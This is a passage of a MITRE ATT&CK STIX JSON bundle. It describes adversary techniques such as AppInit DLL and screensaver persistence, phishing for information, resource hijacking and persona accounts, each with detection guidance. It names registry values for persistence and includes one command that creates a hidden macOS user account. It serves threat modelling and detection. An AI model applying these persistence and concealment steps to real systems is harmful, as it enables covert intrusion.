                "macOS",
                "Windows",
                "ESXi"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd",
            "created": "2020-01-24T14:52:25.589Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1546/010",
                    "external_id": "T1546.010"
                },
                {
                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                },
                {
                    "source_name": "AppInit Registry",
                    "description": "Microsoft. (2006, October). Working with the AppInit_DLLs registry value. Retrieved July 15, 2015.",
                    "url": "https://support.microsoft.com/en-us/kb/197571"
                },
                {
                    "source_name": "AppInit Secure Boot",
                    "description": "Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July 15, 2015.",
                    "url": "https://msdn.microsoft.com/en-us/library/dn280412"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T20:37:21.193Z",
            "name": "AppInit DLLs",
            "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the <code>AppInit_DLLs</code> value in the Registry keys <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> or <code>HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017)\n\nSimilar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity. \n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as <code>RegCreateKeyEx</code> and <code>RegSetValueEx</code>. (Citation: Elastic Process Injection July 2017)\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) \n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Module: Module Load",
                "Windows Registry: Windows Registry Key Modification",
                "Process: OS API Execution"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a",
            "created": "2020-10-02T17:07:01.502Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1598",
                    "external_id": "T1598"
                },
                {
                    "source_name": "ACSC Email Spoofing",
                    "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"
                },
                {
                    "source_name": "Avertium callback phishing",
                    "description": "Avertium. (n.d.). EVERYTHING YOU NEED TO KNOW ABOUT CALLBACK PHISHING. Retrieved February 2, 2023.",
                    "url": "https://www.avertium.com/resources/threat-reports/everything-you-need-to-know-about-callback-phishing"
                },
                {
                    "source_name": "TrendMictro Phishing",
                    "description": "Babon, P. (2020, September 3). Tricky 'Forms' of Phishing. Retrieved October 20, 2020.",
                    "url": "https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html"
                },
                {
                    "source_name": "Sophos Attachment",
                    "description": "Ducklin, P. (2020, October 2). Serious Security: Phishing without links \u2013 when phishers bring along their own web pages. Retrieved October 20, 2020.",
                    "url": "https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/"
                },
                {
                    "source_name": "cyberproof-double-bounce",
                    "description": "Itkin, Liora. (2022, September 1). Double-bounced attacks with email spoofing . Retrieved February 24, 2023.",
                    "url": "https://blog.cyberproof.com/blog/double-bounced-attacks-with-email-spoofing-2022-trends"
                },
                {
                    "source_name": "PCMag FakeLogin",
                    "description": "Kan, M. (2019, October 24). Hackers Try to Phish United Nations Staffers With Fake Login Pages. Retrieved October 20, 2020.",
                    "url": "https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages"
                },
                {
                    "source_name": "Microsoft Anti Spoofing",
                    "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.",
                    "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"
                },
                {
                    "source_name": "Microsoft OAuth Spam 2022",
                    "description": "Microsoft. (2023, September 22). Malicious OAuth applications abuse cloud email services to spread spam. Retrieved March 13, 2023.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-oauth-applications-used-to-compromise-email-servers-and-spread-spam/"
                },
                {
                    "source_name": "ThreatPost Social Media Phishing",
                    "description": "O'Donnell, L. (2020, October 20). Facebook: A Top Launching Pad For Phishing Attacks. Retrieved October 20, 2020.",
                    "url": "https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/"
                },
                {
                    "source_name": "Proofpoint-spoof",
                    "description": "Proofpoint. (n.d.). What Is Email Spoofing?. Retrieved February 24, 2023.",
                    "url": "https://www.proofpoint.com/us/threat-reference/email-spoofing"
                },
                {
                    "source_name": "GitHub Phishery",
                    "description": "Ryan Hanson. (2016, September 24). phishery. Retrieved October 23, 2020.",
                    "url": "https://github.com/ryhanson/phishery"
                },
                {
                    "source_name": "Palo Alto Unit 42 VBA Infostealer 2014",
                    "description": "Vicky Ray and Rob Downs. (2014, October 29). Examining a VBA-Initiated Infostealer Campaign. Retrieved March 13, 2023.",
                    "url": "https://unit42.paloaltonetworks.com/examining-vba-initiated-infostealer-campaign/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:59:08.689Z",
            "name": "Phishing for Information",
            "description": "Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566) in that the objective is gathering data from the victim rather than executing malicious code.\n\nAll forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns.\n\nAdversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation: Sophos Attachment)(Citation: GitHub Phishery) Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information.(Citation: Avertium callback phishing)\n\nPhishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. Another way to accomplish this is by [Email Spoofing](https://attack.mitre.org/techniques/T1672)(Citation: Proofpoint-spoof) the identity of the sender, which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce) \n\nPhishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Philip Winther",
                "Sebastian Salla, McAfee",
                "Robert Simmons, @MalwareUtkonos",
                "Ohad Zaidenberg, @ohad_mz",
                "Liora Itkin",
                "Liran Ravich, CardinalOps",
                "Scott Cook, Capital One"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Depending on the specific method of phishing, the detections can vary. Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nWhen it comes to following links, monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.\n\nMonitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content",
                "Application Log: Application Log Content",
                "Network Traffic: Network Traffic Flow"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783",
            "created": "2019-04-17T14:50:05.682Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1496",
                    "external_id": "T1496"
                },
                {
                    "source_name": "Sysdig Cryptojacking Proxyjacking 2023",
                    "description": "Miguel Hernandez. (2023, August 17). LABRAT: Stealthy Cryptojacking and Proxyjacking Campaign Targeting GitLab . Retrieved September 25, 2024.",
                    "url": "https://sysdig.com/blog/labrat-cryptojacking-proxyjacking-campaign/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T23:00:21.372Z",
            "name": "Resource Hijacking",
            "description": "Adversaries may leverage the resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability. \n\nResource hijacking may take a number of different forms. For example, adversaries may:\n\n* Leverage compute resources in order to mine cryptocurrency\n* Sell network bandwidth to proxy networks\n* Generate SMS traffic for profit\n* Abuse cloud-based messaging services to send large quantities of spam messages\n\nIn some cases, adversaries may leverage multiple types of Resource Hijacking at once.(Citation: Sysdig Cryptojacking Proxyjacking 2023)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "David Fiser, @anu4is, Trend Micro",
                "Alfredo Oliveira, Trend Micro",
                "Jay Chen, Palo Alto Networks",
                "Magno Logan, @magnologan, Trend Micro",
                "Vishwas Manral, McAfee",
                "Yossi Weizman, Azure Defender Research Team",
                "Menachem Goldstein"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Consider monitoring process resource usage to determine anomalous activity associated with malicious hijacking of computer resources such as CPU, memory, and graphics processing resources. Monitor for suspicious use of network resources associated with cryptocurrency mining software. Monitor for common cryptomining software process names and files on local systems that may indicate compromise and resource usage.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "IaaS",
                "Linux",
                "macOS",
                "Containers",
                "SaaS"
            ],
            "x_mitre_version": "2.0",
            "x_mitre_data_sources": [
                "Cloud Service: Cloud Service Modification",
                "Application Log: Application Log Content",
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Traffic Flow",
                "File: File Creation",
                "Network Traffic: Network Connection Creation",
                "Sensor Health: Host Status",
                "Process: Process Creation",
                "Command: Command Execution"
            ],
            "x_mitre_impact_type": [
                "Availability"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8",
            "created": "2020-10-01T01:05:42.216Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1585",
                    "external_id": "T1585"
                },
                {
                    "source_name": "Free Trial PurpleUrchin",
                    "description": "Gamazo, William. Quist, Nathaniel.. (2023, January 5). PurpleUrchin Bypasses CAPTCHA and Steals Cloud Platform Resources. Retrieved February 28, 2024.",
                    "url": "https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/"
                },
                {
                    "source_name": "NEWSCASTER2014",
                    "description": "Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.",
                    "url": "https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation"
                },
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                },
                {
                    "source_name": "BlackHatRobinSage",
                    "description": "Ryan, T. (2010). \u201cGetting In Bed with Robin Sage.\u201d. Retrieved March 6, 2017.",
                    "url": "http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T22:28:26.144Z",
            "name": "Establish Accounts",
            "description": "Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nFor operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nEstablishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) In addition, establishing accounts may allow adversaries to abuse free services, such as registering for trial periods to [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) for malicious purposes.(Citation: Free Trial PurpleUrchin)\n",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content",
                "Persona: Social Media"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1",
            "created": "2020-10-01T01:56:24.776Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1588",
                    "external_id": "T1588"
                },
                {
                    "source_name": "PegasusCitizenLab",
                    "description": "Bill Marczak and John Scott-Railton. (2016, August 24). The Million Dollar Dissident: NSO Group\u2019s iPhone Zero-Days used against a UAE Human Rights Defender. Retrieved December 12, 2016.",
                    "url": "https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/"
                },
                {
                    "source_name": "FireEyeSupplyChain",
                    "description": "FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.",
                    "url": "https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop"
                },
                {
                    "source_name": "DiginotarCompromise",
                    "description": "Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017.",
                    "url": "https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/"
                },
                {
                    "source_name": "Recorded Future Beacon Certificates",
                    "description": "Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved September 16, 2024.",
                    "url": "https://www.recordedfuture.com/research/cobalt-strike-servers"
                },
                {
                    "source_name": "Splunk Kovar Certificates 2017",
                    "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.",
                    "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html"
                },
                {
                    "source_name": "Analyzing CS Dec 2020",
                    "description": "Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021.",
                    "url": "https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/"
                },
                {
                    "source_name": "NationsBuying",
                    "description": "Nicole Perlroth and David E. Sanger. (2013, July 12). Nations Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.",
                    "url": "https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:54:16.100Z",
            "name": "Obtain Capabilities",
            "description": "Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle.\n\nIn addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab)\n\nIn addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific Malware-as-a-Service (MaaS) offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) Malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)\n\nConsider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Certificate: Certificate Registration",
                "Malware Repository: Malware Metadata",
                "Internet Scan: Response Content",
                "Malware Repository: Malware Content"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf",
            "created": "2020-01-24T13:51:01.210Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1546/002",
                    "external_id": "T1546.002"
                },
                {
                    "source_name": "ESET Gazer Aug 2017",
                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
                },
                {
                    "source_name": "Wikipedia Screensaver",
                    "description": "Wikipedia. (2017, November 22). Screensaver. Retrieved December 5, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Screensaver"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "modified": "2025-04-16T20:37:21.356Z",
            "name": "Screensaver",
            "description": "Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in <code>C:\\Windows\\System32\\</code>, and <code>C:\\Windows\\sysWOW64\\</code>  on 64-bit Windows systems, along with screensavers included with base Windows installations.\n\nThe following screensaver settings are stored in the Registry (<code>HKCU\\Control Panel\\Desktop\\</code>) and could be manipulated to achieve persistence:\n\n* <code>SCRNSAVE.exe</code> - set to malicious PE path\n* <code>ScreenSaveActive</code> - set to '1' to enable the screensaver\n* <code>ScreenSaverIsSecure</code> - set to '0' to not require a password to unlock\n* <code>ScreenSaveTimeout</code> - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Bartosz Jerzman"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.\n\nTools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "File: File Modification",
                "File: File Creation",
                "Command: Command Execution",
                "Process: Process Creation",
                "Windows Registry: Windows Registry Key Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--ce73ea43-8e77-47ba-9c11-5e9c9c58b9ff",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1147",
                    "external_id": "T1147"
                },
                {
                    "source_name": "Cybereason OSX Pirrit",
                    "description": "Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved December 10, 2021.",
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-25T15:16:11.008Z",
            "name": "Hidden Users",
            "description": "Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in <code>/Library/Preferences/com.apple.loginwindow</code> called <code>Hide500Users</code> that prevents users with userIDs 500 and lower from appearing at the login screen. By using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: <code>sudo dscl . -create /Users/username UniqueID 401</code> (Citation: Cybereason OSX Pirrit).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "This technique prevents the new user from showing up at the log in screen, but all of the other signs of a new user still exist. The user still gets a home directory and will appear in the authentication logs.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--ceaeb6d8-95ee-4da2-9d42-dc6aa6ca43ae",
            "created": "2024-01-02T13:43:37.389Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1556/009",
                    "external_id": "T1556.009"
                },
                {
                    "source_name": "AWS IAM Conditions",
                    "description": "AWS. (n.d.). IAM JSON policy elements: Condition. Retrieved January 2, 2024.",
                    "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_elements_condition.html"
                },
                {
                    "source_name": "GCP IAM Conditions",
                    "description": "Google Cloud. (n.d.). Overview of IAM Conditions. Retrieved January 2, 2024.",
                    "url": "https://cloud.google.com/iam/docs/conditions-overview"
                },
                {
                    "source_name": "JumpCloud Conditional Access Policies",
                    "description": "JumpCloud. (n.d.). Get Started: Conditional Access Policies. Retrieved January 2, 2024.",
                    "url": "https://jumpcloud.com/support/get-started-conditional-access-policies"
                },
                {
                    "source_name": "Microsoft Conditional Access",
                    "description": "Microsoft. (2023, November 15). What is Conditional Access?. Retrieved January 2, 2024.",
                    "url": "https://learn.microsoft.com/en-us/entra/identity/conditional-access/overview"
                },
                {
                    "source_name": "Okta Conditional Access Policies",
                    "description": "Okta. (2023, November 30). Conditional Access Based on Device Security Posture. Retrieved January 2, 2024.",
                    "url": "https://support.okta.com/help/s/article/Conditional-access-based-on-device-security-posture?language=en_US"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T22:09:03.621Z",
            "name": "Conditional Access Policies",
